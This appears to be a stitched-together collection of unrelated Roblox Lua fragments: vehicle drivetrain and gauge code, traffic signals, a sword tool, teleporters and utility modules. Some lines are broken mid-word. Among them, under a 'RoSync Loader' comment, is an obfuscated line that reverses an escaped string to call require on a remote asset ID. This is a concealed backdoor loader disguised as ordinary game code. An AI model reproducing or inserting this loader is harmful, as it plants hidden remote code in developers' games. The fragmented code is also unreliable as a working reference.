math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then _CGear=math.max(_CGear-1,1) end end end else if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 0 then _CGear = 1 end end end --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --AWD Torque Scaling if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not car.DriveSeat.IsOn.Value then on=0 end local throt = _GThrot if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end --Apply TCS local tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSActive = true end --Update Forces local dir = 1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end if tqABS < 1 then _ABSActive = true end --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
-- for scene switching specifically
local waitForOrchestra = {} waitForOrchestra.task = task function waitForOrchestra:call() while not SceneFramework:GetAttribute(enums.Attribute.FrameworkReady) or not Conductor:GetAttribute(enums.Attribute.FrameworkReady) do waitForOrchestra.task.wait() end end return waitForOrchestra
--[=[ @param name string @param fn (player: Player, ...: any) -> ...: any @param inboundMiddleware ServerMiddleware? @param outboundMiddleware ServerMiddleware? @return RemoteFunction Creates a RemoteFunction and binds the given function to it. Inbound and outbound middleware can be applied if desired. ]=]
function ServerComm:BindFunction(name: string, func: FnBind, inboundMiddleware: ServerMiddleware?, outboundMiddleware: ServerMiddleware?): RemoteFunction return Comm.Server.BindFunction(self._instancesFolder, name, func, inboundMiddleware, outboundMiddleware) end
--FLASH MODE-- --Flashing Red
while true do script.Parent.Parent.SignalValues.Signal1.Value = 3 script.Parent.Parent.SignalValues.Signal1a.Value = 3 script.Parent.Parent.SignalValues.Signal2.Value = 3 script.Parent.Parent.SignalValues.Signal2a.Value = 3 script.Parent.Parent.TurnValues.TurnSignal1.Value = 3 script.Parent.Parent.TurnValues.TurnSignal1a.Value = 3 script.Parent.Parent.TurnValues.TurnSignal2.Value = 3 script.Parent.Parent.TurnValues.TurnSignal2a.Value = 3 script.Parent.Parent.PedValues.PedSignal1.Value = 0 script.Parent.Parent.PedValues.PedSignal1a.Value = 0 script.Parent.Parent.PedValues.PedSignal2.Value = 0 script.Parent.Parent.PedValues.PedSignal2a.Value = 0 wait(.5) script.Parent.Parent.SignalValues.Signal1.Value = 0 script.Parent.Parent.SignalValues.Signal1a.Value = 0 script.Parent.Parent.SignalValues.Signal2.Value = 0 script.Parent.Parent.SignalValues.Signal2a.Value = 0 script.Parent.Parent.TurnValues.TurnSignal1.Value = 0 script.Parent.Parent.TurnValues.TurnSignal1a.Value = 0 script.Parent.Parent.TurnValues.TurnSignal2.Value = 0 script.Parent.Parent.TurnValues.TurnSignal2a.Value = 0 script.Parent.Parent.PedValues.PedSignal1.Value = 0 script.Parent.Parent.PedValues.PedSignal1a.Value = 0 script.Parent.Parent.PedValues.PedSignal2.Value = 0 script.Parent.Parent.PedValues.PedSignal2a.Value = 0 wait(.5) end
--GAMEPASS--OR--DevProduct--
local DevProduct = DevProduct
-- Functions
function MapManager:SaveMap() for _, child in ipairs(game.Workspace:GetChildren()) do if not child:IsA('Camera') and not child:IsA('Terrain') and not child:IsA('Folder') then local copy = child:Clone() if copy then copy.Parent = MapSave end end end end function MapManager:ClearMap() for _, child in ipairs(game.Workspace:GetChildren()) do if not child:IsA('Camera') and not child:IsA('Terrain') and not child:IsA('Folder') then child:Destroy() end end end function MapManager:LoadMap() spawn(function() for _, child in ipairs(MapSave:GetChildren()) do local copy = child:Clone() copy.Parent = game.Workspace end end) end return MapManager
--[[ Mouse.Button1Down:Connect(function(processed) if Attacking == true or Blocking == true or processed then return end Attacking = true if CurrentCombo == 1 then LeftPunch:Play() CurrentCombo = 2 game.ReplicatedStorage.CombatSystem.Punching:FireServer() else RightPunch:Play() CurrentCombo = 1 game.ReplicatedStorage.CombatSystem.Punching:FireServer() end wait(0.6) Attacking = false end) Mouse.Button2Down:Connect(function(processed) if Attacking == true or processed then return end Block:Play() Blocking = true end) Mouse.Button2Up:Connect(function(processed) if Attacking == true or processed then return end Block:Stop() Blocking = false end) ]]
-- Note: Overrides base class GetIsJumping with get-and-clear behavior to do a single jump -- rather than sustained jumping. This is only to preserve the current behavior through the refactor.
function DynamicThumbstick:GetIsJumping() local wasJumping = self.isJumping self.isJumping = false return wasJumping end function DynamicThumbstick:Enable(enable, uiParentFrame) if enable == nil then return false end -- If nil, return false (invalid argument) enable = enable and true or false -- Force anything non-nil to boolean before comparison if self.enabled == enable then return true end -- If no state change, return true indicating already in requested state if enable then -- Enable if not self.thumbstickFrame then self:Create(uiParentFrame) end self:BindContextActions() else ContextActionService:UnbindAction(DYNAMIC_THUMBSTICK_ACTION_NAME) -- Disable self:OnInputEnded() -- Cleanup end self.enabled = enable self.thumbstickFrame.Visible = enable end
--Main Control------------------------------------------------------------------------
Red = script.Parent.Red.Lamp Yellow = script.Parent.Yellow.Lamp Green = script.Parent.Green.Lamp DRed = script.Parent.Red.DynamicLight DYellow = script.Parent.Yellow.DynamicLight DGreen = script.Parent.Green.DynamicLight function Active() if Signal.Value == 0 then Green.Enabled = false Yellow.Enabled = false Red.Enabled = false DGreen.Enabled = false DYellow.Enabled = false DRed.Enabled = false elseif Signal.Value == 1 then Green.Enabled = true Yellow.Enabled = false Red.Enabled = false DGreen.Enabled = true DYellow.Enabled = false DRed.Enabled = false elseif Signal.Value == 2 then Green.Enabled = false Yellow.Enabled = true Red.Enabled = false DGreen.Enabled = false DYellow.Enabled = true DRed.Enabled = false elseif Signal.Value == 3 then Green.Enabled = false Yellow.Enabled = false Red.Enabled = true DGreen.Enabled = false DYellow.Enabled = false DRed.Enabled = true end end Signal.Changed:connect(Active)
--[=[ Converts a Promise into an observable. https://rxjs-dev.firebaseapp.com/api/index/function/from @param promise Promise<T> @return Observable<T> ]=]
function Rx.fromPromise(promise) assert(Promise.isPromise(promise)) return Observable.new(function(sub) if promise:IsFulfilled() then sub:Fire(promise:Wait()) sub:Complete() return nil end local maid = Maid.new() local pending = true maid:GiveTask(function() pending = false end) promise:Then( function(...) if pending then sub:Fire(...) sub:Complete() end end, function(...) if pending then sub:Fail(...) sub:Complete() end end) return maid end) end
--Put it in startercharacterscripts
local runService = game:GetService("RunService") local character = script.Parent local humanoid = character:WaitForChild("Humanoid") local TS = game:GetService("TweenService") function updateBobbleEffect() local currentTime = tick() if humanoid.MoveDirection.Magnitude > 0 then -- we are walking local bobbleX = math.cos(currentTime * 5.6) * .5 local bobbleY = math.abs(math.sin(currentTime * 5.6)) * .5 local bobble = Vector3.new(bobbleX, bobbleY, -.45) TS:Create(humanoid, TweenInfo.new(.1), {CameraOffset = humanoid.CameraOffset:lerp(bobble, .35)}):Play() else -- we are not walking TS:Create(humanoid, TweenInfo.new(.1), {CameraOffset = Vector3.new(0, 0, -.45)}):Play() end end runService.RenderStepped:Connect(updateBobbleEffect)
--Creates a display Gui for the soft shutdown.
return function() local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "SoftShutdownGui" ScreenGui.DisplayOrder = 100 --Create background to cover behind top bar. local Frame = Instance.new("Frame") Frame.BackgroundColor3 = Color3.new(0.188235, 0.188235, 0.188235) Frame.Position = UDim2.new(-0.5,0,-0.5,0) Frame.Size = UDim2.new(2,0,2,0) Frame.ZIndex = 10 Frame.Parent = ScreenGui local function CreateTextLabel(Size,Position,Text) local TextLabel = Instance.new("TextLabel") TextLabel.BackgroundTransparency = 1 TextLabel.Size = Size TextLabel.Position = Position TextLabel.Text = Text TextLabel.ZIndex = 10 TextLabel.Font = "SourceSansBold" TextLabel.TextScaled = true TextLabel.TextColor3 = Color3.new(1,1,1) TextLabel.TextStrokeColor3 = Color3.new(0,0,0) TextLabel.TextStrokeTransparency = 0 TextLabel.Parent = Frame end --Create text. CreateTextLabel(UDim2.new(0.5,0,0.1,0),UDim2.new(0.25,0,0.4,0),"SHUTDOWN") CreateTextLabel(UDim2.new(0.5,0,0.05,0),UDim2.new(0.25,0,0.475,0),"This server is shutting down.") CreateTextLabel(UDim2.new(0.5,0,0.03,0),UDim2.new(0.25,0,0.55,0),"Please wait while we teleport you to a new server.") --Return the ScreenGui and the background. return ScreenGui,Frame end
--[=[ @class PromiseInstanceUtils ]=]
local require = require(script.Parent.loader).load(script) local Promise = require("Promise") local Maid = require("Maid") local PromiseInstanceUtils = {}
-- / Gun / --
local Gun = script.Parent.Parent local BodyAttach = Gun.Handle
------------------------------------
function onTouched(part) if part.Parent ~= nil then local h = part.Parent:findFirstChild("Humanoid") if h~=nil then local teleportfrom=script.Parent.Enabled.Value if teleportfrom~=0 then if h==humanoid then return end local teleportto=script.Parent.Parent:findFirstChild(modelname) if teleportto~=nil then local torso = h.Parent.Torso local location = {teleportto.Position} local i = 1 local x = location[i].x local y = location[i].y local z = location[i].z x = x + math.random(-1, 1) z = z + math.random(-1, 1) y = y + math.random(2, 3) local cf = torso.CFrame local lx = 0 local ly = y local lz = 0 script.Parent.Enabled.Value=0 teleportto.Enabled.Value=0 torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz)) wait(3) script.Parent.Enabled.Value=1 teleportto.Enabled.Value=1 else print("Could not find teleporter!") end end end end end script.Parent.Touched:connect(onTouched)
--[[ss1.Touched:connect(function() if IsOpen.Value == false then OtherDir.Value = false opendoor() wait(TimeDelay) closedoor() end end)]]
trigger.Changed:Connect(function() if InUse.Value == false then if trigger.Value == true and IsOpen.Value == false then opendoor() elseif trigger.Value == false and IsOpen.Value == true then closedoor() end end end)
-- TODO: Optimize this for vertical faces
function BitOps.setFaceConnectivity(connectivity, face, faceBits) local horizontalFace = face.Y ~= 0 for listIndex, bitmaskIndex in ipairs(BitOps.CONNECTIVITY_INDEXES_FOR_FACE[tostring(BitOps.normalizeVec3(face))]) do if horizontalFace then connectivity = bit32.replace(connectivity, bit32.extract(faceBits, 7 - (listIndex - 1)), bitmaskIndex) else connectivity = bit32.replace(connectivity, bit32.extract(faceBits, 8 - (listIndex - 1)), bitmaskIndex) end end return connectivity end
-------- OMG HAX
r = game:service("RunService") local damage = 5 local slash_damage = 8 local lunge_damage = 39 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool force = Instance.new("BodyVelocity") force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 force.Parent = Tool.Parent.Torso wait(.25) swordOut() wait(.25) force.Parent = nil wait(.5) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--------- -- Remote logging is disabled by default
Log.SetRemoteFilterFunc(_remoteFilterEverything) if RunService:IsClient() then _remoteEvent = ReplicatedStorage:WaitForChild(_EVENT_NAME) else _remoteEvent = Instance.new('RemoteEvent', ReplicatedStorage) _remoteEvent.Name = _EVENT_NAME _remoteEvent.OnServerEvent:Connect(onClientLogging) end
------------------------------------------------------------------------ -- size and position of opcode arguments. -- * WARNING size and position is hard-coded elsewhere in this script ------------------------------------------------------------------------
luaP.SIZE_C = 9 luaP.SIZE_B = 9 luaP.SIZE_Bx = luaP.SIZE_C + luaP.SIZE_B luaP.SIZE_A = 8 luaP.SIZE_OP = 6 luaP.POS_OP = 0 luaP.POS_A = luaP.POS_OP + luaP.SIZE_OP luaP.POS_C = luaP.POS_A + luaP.SIZE_A luaP.POS_B = luaP.POS_C + luaP.SIZE_C luaP.POS_Bx = luaP.POS_C
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 8000 -- Spring Force Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FSusMaxExt = .3 -- Max Extension Travel (in studs) Tune.FSusMaxComp = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward
--[[Weight and CG]]
Tune.Weight = 3100 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 1 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = -2 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--[[ Last synced 10/14/2020 09:14 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--// Reposition player
if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over. GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly. GUI:Clone().Parent = player.PlayerGui --// Compact version script.Parent.Startup:Play() end end end end) script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then script.Parent.Parent.Parent.RWD.MaxSpeed = 0 script.Parent.Parent.Parent.RWD.Throttle = 0 script.Parent.Parent.Parent.RWD.Torque = 20 script.Parent.Parent.Parent.LW.VS.MaxSpeed = 0 script.Parent.Parent.Parent.LW.VS.Throttle = 0 script.Parent.Parent.Parent.LW.VS.Torque = 20 script.Parent.Parent.Parent.RW.VS.MaxSpeed = 0 script.Parent.Parent.Parent.RW.VS.Throttle = 0 script.Parent.Parent.Parent.RW.VS.Torque = 20 script.Parent.Sound:Stop() player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and player.PlayerGui:FindFirstChild("Screen") then player.PlayerGui:FindFirstChild("Screen"):Destroy() end end end end)
--[=[ Constructs a new Signal that wraps around an RBXScriptSignal. @param rbxScriptSignal RBXScriptSignal -- Existing RBXScriptSignal to wrap @return Signal For example: ```lua local signal = Signal.Wrap(workspace.ChildAdded) signal:Connect(function(part) print(part.Name .. " added") end) Instance.new("Part").Parent = workspace ``` ]=]
function Signal.Wrap(rbxScriptSignal) assert(typeof(rbxScriptSignal) == "RBXScriptSignal", "Argument #1 to Signal.Wrap must be a RBXScriptSignal; got " .. typeof(rbxScriptSignal)) local signal = Signal.new() signal._proxyHandler = rbxScriptSignal:Connect(function(...) signal:Fire(...) end) return signal end
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) end) script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end script.Parent.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) function PBrake() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end script.Parent.Parent.Values.PBrake.Changed:connect(PBrake) function Gear() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) mouse.KeyDown:connect(function(key) if key=="v" then script.Parent.Visible=not script.Parent.Visible end end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) wait(.1) Gear() PBrake()
-- nO tOuChIe
local CanAttack = true script.Parent.Slash.OnServerEvent:Connect(function() local attack = script.Parent.Parent.Humanoid:LoadAnimation(script.Attack) if CanAttack == true then attack:Play() CanAttack = false script.Parent.CanDamage.Value = true wait(1) attack:Stop() CanAttack = true script.Parent.CanDamage.Value = false end end)
--- Invoke
Signal.Invoke = function(funcName, ...) funcName = string.lower(funcName) local func = GetFunc(funcName) if (not isServer) and funcName ~= "core signal fired" then Signal.Fire("CORE Signal Fired", funcName) end -- return func:Invoke(...) end
function onJumpin
g() isSeated = false pose = "Jumping" end
--[[ Get the current state of the Store. Do not mutate this! ]]
function Store:getState() return self._state end
----------------- --| Functions |-- -----------------
